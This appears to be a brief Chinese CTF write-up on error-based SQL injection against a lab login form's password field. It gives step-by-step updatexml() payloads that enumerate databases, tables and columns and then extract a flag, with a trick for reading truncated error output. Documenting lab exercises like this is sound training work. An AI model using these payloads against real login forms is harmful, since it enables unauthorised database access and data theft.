xpath
我也不知道为啥清楚对username进行了过滤,但是对password没有进行过滤
0x7e是ASCII编码,解码为~,concat是将~和后面连接成字符串,但updatexml()会因为~这个符号不满足xpath语法,所以这个语句不能执行成功,就会报错。
1、查库
uname=admin&passwd=sd' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&Submit=Submit
2、想用group_concat函数来显示所有的库,但是试过以后发现不允许使用group函数
3、查表
uname=admin&passwd=sd' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#&Submit=Submit
4、查列
uname=admin&passwd=sd' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='01PZEtQN' limit 0,1)),1)#&Submit=Submit
5、爆数据
uname=admin&passwd=sd' and updatexml(1,concat(0x7e,(select flag from security.01PZEtQN limit 3,1)),1)#&Submit=Submit
!!!注意limit m,n 的用法,为从下标为m的开始取n个单位的
但是flag没有显示完全,要把右边的一起爆出来
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,right((select(group_concat(flag)) from security.thrzKuTU) ,31),0x7e),1) #&submit=Submit